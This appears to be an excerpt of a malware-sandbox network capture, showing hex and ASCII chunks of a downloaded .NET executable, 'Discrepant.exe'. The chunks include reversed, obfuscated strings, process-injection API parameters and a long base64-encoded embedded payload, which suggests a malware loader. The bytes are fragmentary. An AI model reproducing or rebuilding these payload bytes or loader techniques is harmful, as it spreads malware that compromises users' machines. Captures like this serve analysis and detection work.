Data Ascii: Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=NKnqfZrw6U40lDVvS2M7
jI8%2BG2E%2FCBDTnSfrUPmztAofrAFFF2gDDwUbAhSqJ6hK5HB0jBCAsvgO%2Bgrh1ltzsYMxYwuph%2FDuEDE7mg
cQyEXEN1wesuOzuasFJRDtQXQlk2b%2BvQ%3D%3D"}],"group":"cf-nel","max_a

2021-11-09 21:22:01 UTC 1341 IN Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 
4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 
65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 03 00 b8 11 fa 9a 00 00 00 00 00 00 00 00 e0 00 0e 01 0b 01 
30 00 00 12 06 00 00 06 00 00 00 00 00 00 1e 30 06 00 00 20 00 00 00 40 06 00 00 00 40 00 00 20 00 00 00 02 00 00 04 
00 00 00 00 00 00 00 04 00 00 00 00 00 00 00 00 80 06 00 00 02 00 00 00 00 00 00 03 00 40 85 00 00 10 00 00 10 00 00 
00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 
Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PEL00 @@ @

2021-11-09 21:22:01 UTC 1342 IN Data Raw: 00 00 61 00 30 91 00 06 0b 00 00 01 00 00 61 00 30 97 00 06 24 00 00 01 00 00 00 00 a2 a2 00 06 01 00 00 
01 1e 02 6f 25 00 00 0a 2a 1a 7e 06 00 00 04 2a 00 32 28 10 00 00 06 02 80 06 00 00 04 2a 00 00 00 1e 02 7b 07 00 00 
04 2a 22 02 03 7d 07 00 00 04 2a 00 00 00 13 30 0d 00 a9 00 00 00 00 00 00 00 02 28 05 00 00 0a 02 7e 09 00 00 04 3a 
24 00 00 00 16 d0 04 00 00 1b 28 0e 00 00 0a d0 09 00 00 02 28 0e 00 00 0a 28 15 00 00 0a 28 26 00 00 0a 80 09 00 00 
04 7e 09 00 00 04 7b 27 00 00 0a 7e 09 00 00 04 7e 08 00 00 04 3a 3a 00 00 00 18 72 68 0b 00 70 14 d0 09 00 00 02 28 
0e 00 00 0a 18 8d 26 00 00 01 25 16 17 14 28 28 00 00 0a a2 25 17 16 14 28 28 00 00 0a a2 28 29 00 00 0a 28 2a 00 00 
0a 80 08 00 00 04 7e 08 00 00 04 7b 2b 00 00 0a 7e 08 00 00 04 02 03 6f 2c 
Data Ascii: a0a0$o%*~*2(*{*"}*0(~:$((((&~{'~~::rhp(&%((%((()(*~{+~o,

2021-11-09 21:22:01 UTC 1344 IN Data Raw: 00 70 16 28 08 00 00 06 a2 73 1b 00 00 06 13 06 12 07 fe 15 21 00 00 02 12 10 fe 15 1b 00 00 02 12 10 20 1b 
00 10 00 7d 15 00 00 04 11 10 13 08 17 8d 01 00 00 01 25 16 72 9a 00 00 70 16 28 08 00 00 06 a2 73 1b 00 00 06 13 09 
02 7b 01 00 00 04 6f 51 00 00 06 25 13 12 39 09 00 00 00 11 12 8e 69 3a 09 00 00 00 16 e0 13 11 38 0b 00 00 00 11 12 
16 8f 0d 00 00 01 e0 13 11 11 11 28 07 00 00 0a 13 05 11 11 0b 11 11 07 7b 19 00 00 04 e0 58 0c 14 13 12 07 7b 18 00 0
0 04 20 4d 5a 00 00 40 10 00 00 00 08 7b 1b 00 00 04 20 50 45 00 00 3b 02 00 00 00 16 2a 08 7c 1d 00 00 04 7b 1e 00 
00 04 20 0b 01 00 00 3b 02 00 00 00 16 2a 02 7b 01 00 00 04 6f 51 00 00 06 20 98 03 00 00 18 9c 12 0a fe 15 22 00 00 
02 12 0a 11 0a 8c 22 00 00 02 28 08 00 00 0a 7d 2a 00 00 04 12 0a 16 7d 
Data Ascii: p(s! }%rp(s{oQ%9i:8({X{ MZ@{ PE;*|{ ;*{oQ ""(}*}

2021-11-09 21:22:01 UTC 1345 IN Data Raw: 0b 1e 28 11 00 00 0a 38 12 00 00 00 11 15 17 58 13 15 11 15 20 43 69 08 00 3f c6 ff ff ff 11 06 72 33 05 00 70 
16 28 08 00 00 06 6f 07 00 00 2b 11 07 7b 26 00 00 04 11 08 7b 16 00 00 04 6e 1e 6a 58 28 09 00 00 0a 11 0b 1a 7e 06 
00 00 0a 6f 25 00 00 06 3a 6b 00 00 00 11 0b 28 12 00 00 0a 11 06 72 e0 01 00 70 16 28 08 00 00 06 6f 02 00 00 2b 11 
07 7b 26 00 00 04 15 6f 29 00 00 06 39 40 00 00 00 11 06 72 87 02 00 70 16 28 08 00 00 06 6f 03 00 00 2b 11 07 7b 26 
00 00 04 6f 2d 00 00 06 26 11 06 72 87 02 00 70 16 28 08 00 00 06 6f 03 00 00 2b 11 07 7b 27 00 00 04 6f 2d 00 00 06 26 
16 2a 11 0b 28 12 00 00 0a 08 7c 1d 00 00 04 7b 1f 00 00 04 13 0f 12 08 11 0c 11 0f 6e 58 6d 7d 17 00 00 04 06 39 8a 00 
00 00 11 06 72 38 07 00 70 16 28 08 00 00 06 6f 09 00 00 2b 11 
Data Ascii: (8X Ci?r3p(o+{&{njX(~o%:k(rp(o+{&o)9@rp(o+{&o-&rp(o+{'o-&*(|{nXm}9r8p(o+

2021-11-09 21:22:01 UTC 1346 IN Data Raw: 00 13 00 1b 00 81 01 10 00 1a 01 2c 01 05 00 14 00 1f 00 02 01 00 00 44 01 00 00 09 00 15 00 20 00 02 01 00 
00 67 01 00 00 09 00 15 00 24 00 02 01 00 00 72 01 00 00 09 00 15 00 28 00 02 01 00 00 86 01 00 00 09 00 15 00 2c 00 
02 01 00 00 8a 01 00 00 09 00 15 00 30 00 02 01 00 00 9c 01 00 00 09 00 15 00 34 00 02 01 00 00 af 01 00 00 09 00 15 
00 38 00 02 01 00 00 c5 01 00 00 09 00 15 00 3c 00 02 01 00 00 d9 01 00 00 09 00 15 00 40 00 02 01 00 00 e9 01 00 00 0
9 00 15 00 44 00 02 01 00 00 ee 01 00 00 09 00 15 00 48 00 02 01 00 00 0a 02 00 00 09 00 15 00 4c 00 11 01 10 00 13 
02 05 01 0d 00 15 00 50 00 11 01 10 00 2f 02 05 01 0d 00 18 00 50 00 11 01 10 00 43 02 2a 00 0d 00 1a 00 50 00 11 01 
10 00 56 02 2c 01 0d 00 1b 00 50 00 11 01 10 00 6b 02 2c 01 0d 00 1e 00 
Data Ascii: ,D g$r(,048<@DHLP/PC*PV,Pk,

2021-11-09 21:22:01 UTC 1348 IN Data Raw: 03 00 86 18 11 03 cc 00 4a 00 00 00 00 00 03 00 c6 01 60 03 8f 04 4c 00 00 00 00 00 03 00 c6 01 57 09 a5 04 
59 00 00 00 00 00 03 00 c6 01 8e 09 c1 04 67 00 00 00 00 00 03 00 86 18 11 03 cc 00 6b 00 00 00 00 00 03 00 c6 01 60 
03 d0 04 6d 00 00 00 00 00 03 00 c6 01 57 09 d8 04 70 00 00 00 00 00 03 00 c6 01 8e 09 62 04 74 00 00 00 00 00 03 00 
86 18 11 03 cc 00 76 00 00 00 00 00 03 00 c6 01 60 03 d0 04 78 00 00 00 00 00 03 00 c6 01 57 09 d8 04 7b 00 00 00 00 0
0 03 00 c6 01 8e 09 62 04 7f 00 00 00 00 00 03 00 86 18 11 03 cc 00 81 00 00 00 00 00 03 00 c6 01 60 03 e6 04 83 00 00 
00 00 00 03 00 c6 01 57 09 ec 04 85 00 00 00 00 00 03 00 c6 01 8e 09 f8 04 89 00 00 00 00 00 03 00 86 18 11 03 cc 00 
8a 00 00 00 00 00 03 00 c6 01 60 03 ff 04 8c 00 00 00 00 00 03 00 c6 
Data Ascii: J`LWYgk`mWpbtv`xW{b`W`

Timestamp
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2021-11-09 21:22:01 UTC 1349 IN Data Raw: 00 03 00 3c 0b 00 00 04 00 45 0b 00 00 05 00 50 0b 00 00 06 00 5f 0b 00 00 07 00 7e 09 00 00 08 00 87 09 00 
00 01 00 30 0b 00 00 02 00 45 0b 00 00 03 00 98 09 00 00 01 00 ec 02 00 00 02 00 67 0b 00 20 01 00 02 0b 00 20 01 00 
02 0b 00 00 02 00 7e 09 00 00 03 00 87 09 00 00 01 00 98 09 00 00 01 00 fd 08 00 00 02 00 6b 0b 00 00 01 00 7e 09 00 
00 02 00 87 09 00 00 01 00 98 09 00 00 01 00 3e 09 00 00 02 00 13 0b 00 00 01 00 73 0b 00 00 02 00 78 0b 00 00 01 00 
73 0b 00 00 02 00 78 0b 00 00 03 00 7e 09 00 00 04 00 87 09 00 00 01 00 98 09 00 00 01 00 fd 08 00 00 01 00 ec 02 31 
00 11 03 b0 00 0c 00 11 03 cc 00 0c 00 60 03 d2 00 59 00 11 03 d7 00 09 00 11 03 d7 00 51 00 d8 03 10 01 51 00 dd 03 
13 01 89 00 f1 03 19 01 51 00 dd 03 1e 01 91 00 19 04 28 01 51 00 2c 04 
Data Ascii: <EP_~0Eg  ~k~>sxsx~1`YQQQ(Q,

2021-11-09 21:22:01 UTC 1350 IN Data Raw: 0e 00 17 00 0e 00 18 00 0e 00 19 00 0e 00 1a 00 0e 00 25 00 24 00 00 00 04 00 39 00 ee 08 38 00 23 01 38 
00 32 01 38 00 37 01 38 00 41 01 38 00 46 01 38 00 4b 01 38 00 50 01 38 00 66 01 38 00 7e 01 38 00 83 01 38 00 4a 02 
38 00 4f 02 00 44 69 73 63 72 65 70 61 6e 74 00 44 69 73 63 72 65 70 61 6e 74 2e 65 78 65 00 3c 4d 6f 64 75 6c 65 3e 00 
53 74 61 74 65 00 44 69 73 63 72 65 70 61 6e 74 2e 41 6e 6e 6f 74 61 74 69 6f 6e 73 00 4f 62 6a 65 63 74 00 53 79 73 74 
65 6d 00 6d 73 63 6f 72 6c 69 62 00 53 65 72 69 61 6c 69 7a 65 72 00 44 69 73 63 72 65 70 61 6e 74 2e 50 72 6f 64 75 6
3 65 72 73 00 3c 3e 63 5f 5f 44 69 73 70 6c 61 79 43 6c 61 73 73 32 5f 30 00 43 6f 6e 74 61 69 6e 65 72 00 44 69 73 63 7
2 65 70 61 6e 74 2e 43 6f 6d 6d 6f 6e 00 4f 62 73 65 72 76 65 72 
Data Ascii: %$98#82878A8F8K8P8f8~88J8ODiscrepantDiscrepant.exe<Module>StateDiscrepant.AnnotationsObj
ectSystemmscorlibSerializerDiscrepant.Producers<>c__DisplayClass2_0ContainerDiscrepant.CommonObserver

2021-11-09 21:22:01 UTC 1352 IN Data Raw: 61 74 65 00 72 65 66 65 72 65 6e 63 65 00 42 69 6e 64 65 72 00 4d 69 63 72 6f 73 6f 66 74 2e 43 53 68 61 72 
70 2e 52 75 6e 74 69 6d 65 42 69 6e 64 65 72 00 4d 69 63 72 6f 73 6f 66 74 2e 43 53 68 61 72 70 00 43 6f 6e 76 65 72 74 
00 43 61 6c 6c 53 69 74 65 42 69 6e 64 65 72 00 53 79 73 74 65 6d 2e 52 75 6e 74 69 6d 65 2e 43 6f 6d 70 69 6c 65 72 
53 65 72 76 69 63 65 73 00 53 79 73 74 65 6d 2e 43 6f 72 65 00 43 53 68 61 72 70 42 69 6e 64 65 72 46 6c 61 67 73 00 
43 61 6c 6c 53 69 74 65 60 31 00 46 75 6e 63 60 33 00 43 61 6c 6c 53 69 74 65 00 43 72 65 61 74 65 00 54 61 72 67 65 7
4 00 54 6f 43 68 61 72 41 72 72 61 79 00 43 68 61 72 00 52 65 66 6c 65 63 74 53 74 61 74 65 00 67 65 74 5f 4c 65 6e 67 
74 68 00 46 72 6f 6d 42 61 73 65 36 34 43 68 61 72 41 72 72 61 79 
Data Ascii: atereferenceBinderMicrosoft.CSharp.RuntimeBinderMicrosoft.CSharpConvertCallSiteBinderSystem.Runtim
e.CompilerServicesSystem.CoreCSharpBinderFlagsCallSite`1Func`3CallSiteCreateTargetToCharArrayCharReflectStateg
et_LengthFromBase64CharArray

2021-11-09 21:22:01 UTC 1353 IN Data Raw: 75 74 65 73 00 62 49 6e 68 65 72 69 74 48 61 6e 64 6c 65 73 00 64 77 43 72 65 61 74 69 6f 6e 46 6c 61 67 73 
00 6c 70 45 6e 76 69 72 6f 6e 6d 65 6e 74 00 6c 70 43 75 72 72 65 6e 74 44 69 72 65 63 74 6f 72 79 00 6c 70 53 74 61 72 
74 75 70 49 6e 66 6f 00 6c 70 50 72 6f 63 65 73 74 6e 65 6d 65 6c 45 73 74 75 6f 65 6d 69 54 74 73 6f 48 6e 6f 69 74 61 
72 75 67 69 66 6e 6f 43 6c 65 64 6f 4d 65 63 69 76 72 65 53 6d 65 74 73 79 53 32 36 34 30 38 00 68 4e 65 77 54 6f 6b 65 
6e 00 68 54 68 72 65 61 64 00 70 43 6f 6e 74 65 78 74 00 73 65 6c 65 63 74 69 6f 6e 00 63 75 73 74 00 50 72 6f 63 65 73 
73 48 61 6e 64 6c 65 00 42 61 73 65 41 64 64 72 65 73 73 00 5a 65 72 6f 42 69 74 73 00 52 65 67 69 6f 6e 53 69 7a 65 00 
41 6c 6c 6f 63 61 74 69 6f 6e 54 79 70 65 00 50 72 6f 74 
Data Ascii: utesbInheritHandlesdwCreationFlagslpEnvironmentlpCurrentDirectorylpStartupInfolpProcestnemelEstuoe
miTtsoHnoitarugifnoCledoMecivreSmetsyS26408hNewTokenhThreadpContextselectioncustProcessHandleBaseAdd
ressZeroBitsRegionSizeAllocationTypeProt

2021-11-09 21:22:01 UTC 1354 IN Data Raw: 70 00 63 00 54 00 78 00 65 00 4d 00 6e 00 6f 00 69 00 74 00 61 00 72 00 75 00 67 00 69 00 66 00 6e 00 6f 00 
43 00 6c 00 65 00 64 00 6f 00 4d 00 65 00 63 00 69 00 76 00 72 00 65 00 53 00 6d 00 65 00 74 00 73 00 79 00 53 00 33 
00 38 00 39 00 36 00 31 00 45 00 41 00 65 00 50 00 41 00 4d 00 31 00 41 00 7a 00 51 00 78 00 43 00 52 00 6f 00 47 00 
50 00 46 00 38 00 6c 00 4c 00 6a 00 4e 00 71 00 41 00 53 00 51 00 38 00 49 00 78 00 63 00 70 00 45 00 67 00 67 00 72 
00 41 00 41 00 49 00 6e 00 5a 00 31 00 41 00 3d 00 00 80 a5 4f 00 45 00 67 00 6e 00 69 00 64 00 6e 00 69 00 42 00 70 
00 63 00 54 00 78 00 65 00 4d 00 6e 00 6f 00 69 00 74 00 61 00 72 00 75 00 67 00 69 00 66 00 6e 00 6f 00 43 00 6c 00 65 
00 64 00 6f 00 4d 00 65 00 63 00 69 00 76 00 72 00 65 00 53 00 6d 00 
Data Ascii: pcTxeMnoitarugifnoCledoMecivreSmetsyS38961EAePAM1AzQxCRoGPF8lLjNqASQ8IxcpEggrAAInZ1A=OEg
nidniBpcTxeMnoitarugifnoCledoMecivreSm

2021-11-09 21:22:01 UTC 1356 IN Data Raw: 3d 00 00 80 a5 50 00 45 00 67 00 6e 00 69 00 64 00 6e 00 69 00 42 00 70 00 63 00 54 00 78 00 65 00 4d 00 
6e 00 6f 00 69 00 74 00 61 00 72 00 75 00 67 00 69 00 66 00 6e 00 6f 00 43 00 6c 00 65 00 64 00 6f 00 4d 00 65 00 63 00 
69 00 76 00 72 00 65 00 53 00 6d 00 65 00 74 00 73 00 79 00 53 00 33 00 38 00 39 00 36 00 31 00 30 00 45 00 43 00 59 
00 41 00 77 00 71 00 4f 00 53 00 45 00 2b 00 46 00 68 00 59 00 62 00 4e 00 46 00 39 00 4b 00 49 00 54 00 51 00 64 00 4
f 00 32 00 55 00 38 00 4a 00 58 00 78 00 74 00 00 80 b5 4f 00 45 00 67 00 6e 00 69 00 64 00 6e 00 69 00 42 00 70 00 63 
00 54 00 78 00 65 00 4d 00 6e 00 6f 00 69 00 74 00 61 00 72 00 75 00 67 00 69 00 66 00 6e 00 6f 00 43 00 6c 00 65 00 64 
00 6f 00 4d 00 65 00 63 00 69 00 76 00 72 00 65 00 53 00 6d 00 65 
Data Ascii: =PEgnidniBpcTxeMnoitarugifnoCledoMecivreSmetsyS389610ECYAwqOSE+FhYbNF9KITQdO2U8JXxtOEgni
dniBpcTxeMnoitarugifnoCledoMecivreSme

2021-11-09 21:22:01 UTC 1357 IN Data Raw: 70 00 6c 00 61 00 63 00 65 00 00 27 46 00 72 00 6f 00 6d 00 42 00 61 00 73 00 65 00 36 00 34 00 43 00 68 00 
61 00 72 00 41 00 72 00 72 00 61 00 79 00 00 17 54 00 6f 00 43 00 68 00 61 00 72 00 41 00 72 00 72 00 61 00 79 00 00 
0d 4c 00 65 00 6e 00 67 00 74 00 68 00 00 13 47 00 65 00 74 00 53 00 74 00 72 00 69 00 6e 00 67 00 00 1b 6d 00 73 00 
54 00 50 00 5a 00 6d 00 51 00 58 00 64 00 41 00 50 00 70 00 65 00 00 70 c6 16 27 95 d0 e0 41 99 8f 09 f7 e8 ee 39 d8 00 
80 9e 2e 01 80 84 53 79 73 74 65 6d 2e 53 65 63 75 72 69 74 79 2e 50 65 72 6d 69 73 73 69 6f 6e 73 2e 53 65 63 75 72 6
9 74 79 50 65 72 6d 69 73 73 69 6f 6e 41 74 74 72 69 62 75 74 65 2c 20 6d 73 63 6f 72 6c 69 62 2c 20 56 65 72 73 69 6f 6
e 3d 34 2e 30 2e 30 2e 30 2c 20 43 75 6c 74 75 72 65 3d 6e 65 75 
Data Ascii: place'FromBase64CharArrayToCharArrayLengthGetStringmsTPZmQXdAPpep'A9.System.Security.Per
missions.SecurityPermissionAttribute, mscorlib, Version=4.0.0.0, Culture=neu

2021-11-09 21:22:01 UTC 1358 IN Data Raw: 1c 0e 20 03 02 10 11 80 88 10 11 80 84 12 80 b5 07 20 02 02 18 0f 11 6c 0d 20 04 12 80 b5 18 0f 11 6c 12 80 
b9 1c 05 20 02 09 18 18 0b 20 04 12 80 b5 18 18 12 80 b9 1c 06 20 01 09 12 80 b5 0b 20 06 09 18 10 18 09 10 09 09 09 
11 20 08 12 80 b5 18 10 18 09 10 09 09 09 12 80 b9 1c 0a 20 03 09 10 18 10 09 12 80 b5 04 20 01 09 18 03 20 00 18 09 
20 02 12 80 b5 12 80 b9 1c 06 20 01 18 12 80 b5 02 06 09 02 06 07 03 06 11 74 03 06 11 7c 02 06 08 02 06 06 04 06 11 
80 94 08 01 00 08 00 00 00 00 00 04 20 01 01 08 1e 01 00 01 00 54 02 16 57 72 61 70 4e 6f 6e 45 78 63 65 70 74 69 6f 
6e 54 68 72 6f 77 73 01 08 01 00 02 00 00 00 00 00 06 20 01 01 11 80 c9 47 01 00 1a 2e 4e 45 54 46 72 61 6d 65 77 6f 
72 6b 2c 56 65 72 73 69 6f 6e 3d 76 34 2e 30 01 00 54 0e 14 46 72 61 6d 
Data Ascii:   l l          t| TWrapNonExceptionThrows G.NETFramework,Version=v4.0TFram

2021-11-09 21:22:01 UTC 1360 IN Data Raw: 00 6e 00 64 00 46 00 51 00 55 00 46 00 42 00 51 00 55 00 46 00 42 00 51 00 55 00 46 00 42 00 51 00 55 00 
46 00 42 00 51 00 55 00 46 00 44 00 57 00 55 00 46 00 52 00 51 00 55 00 46 00 44 00 55 00 55 00 46 00 42 00 51 00 55 
00 39 00 42 00 51 00 6b 00 46 00 42 00 64 00 30 00 46 00 42 00 51 00 55 00 4e 00 7a 00 61 00 6b 00 46 00 46 00 51 00 
55 00 68 00 42 00 51 00 55 00 46 00 42 00 51 00 55 00 46 00 42 00 51 00 55 00 46 00 42 00 51 00 55 00 46 00 42 00 51 
00 55 00 46 00 42 00 51 00 55 00 46 00 42 00 51 00 55 00 46 00 42 00 51 00 55 00 46 00 42 00 51 00 55 00 46 00 42 00 
51 00 55 00 46 00 42 00 51 00 55 00 46 00 42 00 51 00 55 00 46 00 42 00 51 00 55 00 46 00 42 00 51 00 55 00 46 00 42 
00 51 00 55 00 46 00 42 00 51 00 55 00 46 00 42 00 51 00 55 00 46 00 42 00 
Data Ascii: ndFQUFBQUFBQUFBQUFBQUFDWUFRQUFDUUFBQU9BQkFBd0FBQUNzakFFQUhBQUFBQUFBQ
UFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFB
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2021-11-09 21:22:01 UTC 1361 IN Data Raw: 55 00 46 00 42 00 51 00 55 00 46 00 42 00 51 00 55 00 46 00 42 00 51 00 55 00 46 00 42 00 51 00 55 00 46 
00 42 00 51 00 55 00 46 00 42 00 51 00 55 00 46 00 42 00 51 00 55 00 46 00 42 00 51 00 55 00 46 00 42 00 51 00 55 00 
46 00 42 00 51 00 55 00 46 00 42 00 51 00 55 00 46 00 42 00 51 00 55 00 46 00 42 00 51 00 55 00 46 00 42 00 51 00 55 
00 46 00 42 00 51 00 55 00 46 00 42 00 51 00 55 00 46 00 42 00 51 00 55 00 46 00 42 00 51 00 55 00 46 00 42 00 51 00 
55 00 46 00 42 00 51 00 55 00 46 00 42 00 51 00 55 00 46 00 42 00 51 00 55 00 46 00 42 00 51 00 55 00 46 00 42 00 51 
00 55 00 46 00 42 00 51 00 55 00 46 00 42 00 51 00 55 00 46 00 42 00 51 00 55 00 46 00 42 00 51 00 55 00 46 00 42 00 
51 00 55 00 46 00 42 00 51 00 55 00 46 00 42 00 51 00 55 00 46 00 42 00 51 
Data Ascii: UFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQ
UFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQ

2021-11-09 21:22:01 UTC 1362 IN Data Raw: 00 4a 00 52 00 51 00 55 00 46 00 79 00 64 00 30 00 46 00 42 00 63 00 6b 00 34 00 77 00 51 00 55 00 46 00 
42 00 54 00 55 00 46 00 42 00 51 00 55 00 4a 00 4c 00 51 00 55 00 46 00 42 00 52 00 30 00 46 00 42 00 51 00 55 00 46 
00 42 00 51 00 55 00 46 00 42 00 51 00 55 00 46 00 42 00 51 00 55 00 46 00 42 00 51 00 55 00 46 00 42 00 51 00 55 00 
46 00 42 00 51 00 55 00 46 00 42 00 51 00 55 00 46 00 42 00 51 00 55 00 46 00 42 00 51 00 55 00 46 00 42 00 51 00 55 
00 46 00 42 00 51 00 55 00 46 00 42 00 51 00 55 00 46 00 42 00 51 00 55 00 46 00 42 00 51 00 55 00 46 00 42 00 51 00 
55 00 46 00 42 00 51 00 55 00 46 00 42 00 51 00 55 00 46 00 42 00 51 00 55 00 46 00 42 00 51 00 55 00 46 00 42 00 51 
00 55 00 46 00 48 00 65 00 6b 00 46 00 4b 00 51 00 55 00 35 00 72 00 51 00 
Data Ascii: JRQUFyd0FBck4wQUFBTUFBQUJLQUFBR0FBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQU
FBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFHekFKQU5rQ

2021-11-09 21:22:01 UTC 1364 IN Data Raw: 64 00 42 00 51 00 55 00 4a 00 44 00 61 00 6e 00 4a 00 42 00 51 00 55 00 46 00 48 00 53 00 33 00 64 00 33 
00 55 00 6b 00 4a 00 49 00 64 00 6a 00 5a 00 42 00 51 00 55 00 46 00 46 00 53 00 30 00 39 00 76 00 51 00 55 00 46 00 
42 00 57 00 56 00 52 00 43 00 61 00 45 00 56 00 48 00 53 00 30 00 4e 00 5a 00 51 00 55 00 46 00 42 00 62 00 7a 00 5a 
00 4e 00 5a 00 30 00 56 00 42 00 51 00 55 00 4a 00 46 00 52 00 30 00 5a 00 74 00 4f 00 47 00 35 00 42 00 51 00 55 00 
46 00 4c 00 52 00 58 00 64 00 6e 00 55 00 30 00 4e 00 44 00 5a 00 32 00 39 00 42 00 51 00 55 00 46 00 4c 00 59 00 6e 
00 6c 00 72 00 51 00 55 00 46 00 42 00 62 00 31 00 4a 00 43 00 61 00 46 00 6c 00 59 00 59 00 6e 00 6c 00 76 00 51 00 
55 00 46 00 42 00 62 00 32 00 39 00 4c 00 64 00 30 00 46 00 42 00 51 00 32 
Data Ascii: dBQUJDanJBQUFHS3d3UkJIdjZBQUFFS09vQUFBWVRCaEVHS0NZQUFBbzZNZ0VBQUJFR0ZtOG5BQUFL
RXdnU0NDZ29BQUFLYnlrQUFBb1JCaFlYYnlvQUFBb29Ld0FBQ2

2021-11-09 21:22:01 UTC 1365 IN Data Raw: 00 69 00 59 00 6e 00 64 00 7a 00 51 00 55 00 46 00 42 00 63 00 6d 00 4e 00 43 00 4d 00 6a 00 68 00 4e 00 
51 00 55 00 46 00 42 00 53 00 30 00 39 00 75 00 52 00 44 00 6b 00 76 00 4c 00 79 00 39 00 6c 00 51 00 32 00 64 00 6a 
00 63 00 30 00 4a 00 6e 00 5a 00 48 00 5a 00 44 00 64 00 30 00 46 00 42 00 51 00 33 00 52 00 36 00 5a 00 55 00 46 00 
35 00 59 00 6d 00 56 00 42 00 51 00 56 00 6c 00 78 00 51 00 55 00 46 00 42 00 51 00 56 00 46 00 58 00 55 00 55 00 46 
00 42 00 51 00 55 00 46 00 42 00 51 00 55 00 46 00 45 00 51 00 30 00 46 00 42 00 51 00 55 00 46 00 35 00 55 00 55 00 
56 00 42 00 51 00 55 00 6c 00 7a 00 51 00 30 00 46 00 42 00 51 00 55 00 52 00 42 00 51 00 55 00 46 00 42 00 52 00 48 
00 64 00 42 00 51 00 55 00 46 00 52 00 53 00 55 00 46 00 42 00 51 00 55 00 
Data Ascii: iYndzQUFBcmNCMjhNQUFBS09uRDkvLy9lQ2djc0JnZHZDd0FBQ3R6ZUF5YmVBQVlxQUFBQVFXUUFBQ
UFBQUFEQ0FBQUF5UUVBQUlzQ0FBQURBQUFBRHdBQUFRSUFBQU

2021-11-09 21:22:01 UTC 1366 IN Data Raw: 44 00 61 00 54 00 42 00 4b 00 52 00 56 00 46 00 61 00 64 00 6c 00 4a 00 33 00 52 00 55 00 46 00 43 00 61 
00 58 00 4e 00 47 00 59 00 32 00 6c 00 7a 00 51 00 30 00 46 00 49 00 51 00 6e 00 5a 00 54 00 51 00 55 00 56 00 42 00 
51 00 6d 00 68 00 46 00 52 00 30 00 56 00 52 00 57 00 6e 00 5a 00 54 00 55 00 55 00 56 00 42 00 51 00 6d 00 6c 00 6e 
00 4f 00 45 00 46 00 42 00 51 00 55 00 74 00 4d 00 55 00 57 00 74 00 53 00 51 00 6d 00 30 00 35 00 53 00 6b 00 46 00 
52 00 51 00 55 00 64 00 4c 00 64 00 31 00 5a 00 35 00 53 00 33 00 64 00 4a 00 51 00 57 00 4e 00 48 00 4f 00 55 00 74 
00 42 00 55 00 55 00 46 00 48 00 4d 00 30 00 4a 00 46 00 52 00 32 00 49 00 77 00 61 00 30 00 4a 00 42 00 51 00 56 00 
70 00 35 00 53 00 33 00 64 00 4a 00 51 00 57 00 4e 00 44 00 5a 00 7a 00 6c 
Data Ascii: DaTBKRVFadlJ3RUFCaXNGY2lzQ0FIQnZTQUVBQmhFR0VRWnZTUUVBQmlnOEFBQUtMUWt
SQm05SkFRQUdLd1Z5S3dJQWNHOUtBUUFHM0JFR2Iwa0JBQVp5S3dJQWNDZzl

2021-11-09 21:22:01 UTC 1368 IN Data Raw: 00 51 00 55 00 64 00 46 00 55 00 57 00 4e 00 53 00 51 00 6b 00 4a 00 46 00 52 00 6b 00 68 00 76 00 4d 00 
57 00 46 00 42 00 51 00 55 00 46 00 43 00 53 00 6d 00 52 00 44 00 4b 00 30 00 46 00 42 00 51 00 55 00 56 00 4c 00 52 
00 47 00 4e 00 42 00 51 00 55 00 46 00 77 00 65 00 6b 00 39 00 42 00 51 00 55 00 46 00 44 00 62 00 53 00 74 00 7a 00 
51 00 55 00 46 00 42 00 52 00 32 00 4a 00 36 00 63 00 30 00 46 00 42 00 51 00 58 00 42 00 35 00 54 00 33 00 64 00 4a 
00 51 00 57 00 4e 00 48 00 4f 00 55 00 46 00 42 00 51 00 55 00 46 00 4c 00 59 00 6e 00 70 00 42 00 51 00 6b 00 46 00 
42 00 57 00 56 00 4a 00 43 00 65 00 45 00 56 00 46 00 52 00 56 00 46 00 56 00 59 00 57 00 70 00 57 00 62 00 30 00 46 
00 42 00 51 00 55 00 56 00 73 00 4d 00 46 00 42 00 6e 00 51 00 55 00 46 00 
Data Ascii: QUdFUWNSQkJFRkhvMWFBQUFCSmRDK0FBQUVLRGNBQUFwek9BQUFDbStzQUFBR2J6c0FB
QXB5T3dJQWNHOUFBQUFLYnpBQkFBWVJCeEVFRVFVYWpWb0FBQUVsMFBnQUF

2021-11-09 21:22:01 UTC 1369 IN Data Raw: 55 00 6b 00 4a 00 74 00 4f 00 55 00 5a 00 42 00 51 00 55 00 46 00 4c 00 52 00 56 00 46 00 56 00 57 00 46 00 
64 00 43 00 54 00 55 00 5a 00 46 00 55 00 56 00 56 00 53 00 51 00 6b 00 63 00 72 00 63 00 55 00 46 00 42 00 51 00 55 
00 64 00 51 00 65 00 6b 00 67 00 72 00 4c 00 79 00 38 00 76 00 5a 00 55 00 46 00 35 00 59 00 6d 00 56 00 42 00 54 00 
6a 00 52 00 45 00 53 00 6e 00 51 00 30 00 51 00 55 00 4a 00 70 00 62 00 30 00 70 00 4c 00 61 00 30 00 5a 00 4e 00 51 
00 55 00 46 00 42 00 51 00 55 00 46 00 42 00 51 00 55 00 46 00 68 00 5a 00 30 00 46 00 42 00 51 00 55 00 70 00 6e 00 
